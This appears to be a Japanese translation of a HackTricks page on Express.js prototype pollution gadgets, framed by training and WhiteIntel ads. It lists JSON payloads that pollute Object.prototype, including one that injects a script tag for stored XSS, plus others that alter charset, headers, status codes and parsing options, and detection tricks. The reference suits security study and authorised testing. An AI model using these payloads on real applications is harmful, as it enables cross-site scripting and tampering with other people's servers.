Express Prototype Pollution Gadgets

AWSハッキングをゼロからヒーローまで学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

WhiteIntelは、ダークウェブを活用した検索エンジンで、盗難マルウェアによる侵害を受けたかどうかを確認するための無料機能を提供しています。

WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃に対抗することです。

彼らのウェブサイトをチェックして、無料でエンジンを試すことができます:


XSSレスポンスを提供する

詳細については 元のリサーチを参照してください

JSONコンテンツタイプをHTMLに変更

JSONコンテンツタイプのレスポンスを使用し、JSONを反映するExpressアプリ内で:

app.use(bodyParser.json({type: 'application/json'}));
app.post('/', function(req, res){
_.merge({}, req.body);
res.send(req.body);
});

XSSの場合、通常はJSONコンテンツタイプでは不可能です。ただし、プロトタイプ汚染を使用すると、Expressを混乱させてHTMLレスポンスを提供することができます。 この脆弱性は、アプリケーションが**res.send(obj)**を使用し、application/jsonコンテンツタイプでボディパーサーを使用していることに依存しています。

{"__proto__":{"_body":true,"body":"<script>evil()"}}

bodyおよび_bodyプロパティを汚染することで、ExpressがHTMLコンテンツタイプを提供し、_bodyプロパティを反映させ、保存されたXSSが発生する可能性があります。

UTF7のレンダリング

ExpressがUTF-7コンテンツをレンダリングすることが可能です:

{"__proto__":{"content-type": "application/json; charset=utf-7"}}

安全なスキャン技術

JSON スペース

次の PP は、JSON 内の属性に余分なスペースを追加し、機能を壊さないようにします:

{"__proto__":{"json spaces": " "}}

その後、反映されたJSONは次のようになります:

{"foo":  "bar"} -- Note the extra space

公開されたヘッダー

次のPPガジェットは、サーバーがHTTPヘッダーを送信するようにします:Access-Control-Expose_headers: foo

{"__proto__":{"exposedHeaders":["foo"]}}

CORSモジュールのインストールが必要です

OPTIONSメソッド

次のペイロードを使用すると、OPTIONSレスポンスからメソッドを隠すことが可能です:

// Original reponse: POST,GET,HEAD

// Payload:
{"__proto__":{"head":true}}

//New response: POST;GET

ステータス

以下のPPペイロードを使用して、返されるステータスコードを変更することが可能です:

{"__proto__":{"status":510}}

エラー

プリミティブ(stringなど)を使用してプロトタイプに割り当てると、プロトタイプはオブジェクトである必要があるため、 no-op操作が生成されます。Object.prototypeにプロトタイプオブジェクトを割り当てようとすると、これは例外をスローします。これら2つの動作を使用して、プロトタイプ汚染が成功したかどうかを検出できます。

({}).__proto__.__proto__={}//throws type exception
({}).__proto__.__proto__="x"//no-op does not throw exception

反射された値

アプリケーションがレスポンスにオブジェクトを含めるとき、__proto__と並んで異常な名前の属性を作成すると興味深いかもしれません。特に、レスポンスに異常な属性だけが返される場合、これはアプリケーションの脆弱性を示している可能性があります:

{"unusualName":"value","__proto__":"test"}

また、Lodashのようなライブラリが使用されているシナリオでは、プロトタイプ汚染(PP)を介してプロパティを設定し、オブジェクト内で直接設定することで、別の診断アプローチが提供されます。応答からそのようなプロパティが省略されている場合、Lodashがマージする前に対象オブジェクト内のプロパティの存在を検証していることを示唆しています:

{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash

その他

ドットを許可

Expressには、クエリ文字列パラメータからオブジェクトを作成するオプションがあります。 これは、プロトタイプ汚染の脆弱性を悪用するためにバグチェーンで使用できます。

{"__proto__":{"allowDots":true}}

?foo.bar=bazはNodeでオブジェクトを作成します。

参考文献

WhiteIntelは、ダークウェブを活用した検索エンジンであり、企業やその顧客が盗難マルウェアによって侵害されていないかをチェックするための無料機能を提供しています。

WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。

彼らのウェブサイトをチェックし、無料でエンジンを試すことができます:

**htARTE(HackTricks AWS Red Team Expert)**でAWSハッキングをゼロからヒーローまで学ぶ

HackTricksをサポートする他の方法:

Last updated